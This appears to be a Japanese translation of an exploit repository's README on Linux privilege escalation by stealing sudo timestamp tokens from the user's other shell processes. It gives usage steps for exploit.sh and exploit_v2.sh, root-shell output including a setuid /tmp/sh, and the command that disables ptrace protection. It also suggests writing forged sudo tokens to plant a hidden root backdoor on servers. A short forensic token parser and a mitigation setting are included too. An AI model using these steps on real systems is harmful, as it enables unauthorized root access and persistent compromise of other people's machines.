
[Linux] sudoトークンを悪用する2つの権限昇格手法
私たちは皆、sudoが時々パスワードを尋ねないことに気づいています。なぜなら、sudoは私たちを覚えているからです。どのようにして私たちを覚え、どのようにして私たちを識別するのでしょうか? 自分の身分を偽装してrootになれるでしょうか? 私の知る限り、この研究はまだ文書化されていませんが、もし文書化されているなら教えてください。 実際、sudoは各Linuxユーザーに対して/var/run/sudo/ts/[username]にファイルを作成します。 これらのファイルには成功した認証と失敗した認証の両方が含まれており、sudoはこれらのファイルを使って認証済みのすべてのプロセスを記憶します。 -- @chaignc
このリポジトリが提供するもの:
PS: 要件を読んでください!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
exploit.shは現在のユーザーが所有するすべてのシェルプロセスにインジェクションし、それらのsudoトークンを使って自分のsudoトークンを検証します。ほんの3行のシェルスクリプトです。見てみてください。
これは要件なしで使える汎用的な権限昇格とは程遠いですが、機能します。例えば、RCEを持っていてユーザーのパスワードを知らないが、被害者がsudoを使用している場合、彼のトークンを盗むことで簡単にrootを取得できます。
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
2つのターミナルを起動します:
exploit v1で運が悪かった人はv2を試してください
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
出力は改善の余地がありますが、各プロセスのsudo試行は/var/run/sudo/ts/[username]に1つのエントリを持ちます。また、これらのファイルはtmpfs(RAM)に保存されます。この情報を解析してsudo試行を収集するvolatilityプラグインを書くこともできます。
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
任意書き込みが可能な場合、現在のプロセス用のsudoトークンを作成してrootコード実行を獲得できます。 extra_tools内の'./write_sudo_token $$ > /var/run/sudo/ts/[username]'を確認してください。
めったに再起動しないサーバーに秘密のrootバックドアを作成する非常に良い方法です。 まだ実装されていませんが、./extra_tools内の'./write_sudo_token $$'を確認してください。
私は死んだプロセスのsudoトークンを盗む方法を探していましたが、それは不可能に思えます。なぜなら、それらは((プロセス開始時刻 かつ プロセスセッションID) または (tty開始時刻 かつ ttyセッションID))によって関連付けられているからです。セッションID(プロセスpid)は偽装できますが、プロセス開始時刻は偽造できません。
kernel.yama.ptrace_scope = 1
ptraceを使用しないLinuxベースのプロセス間コードインジェクション
https://www.linusakesson.net/programming/tty/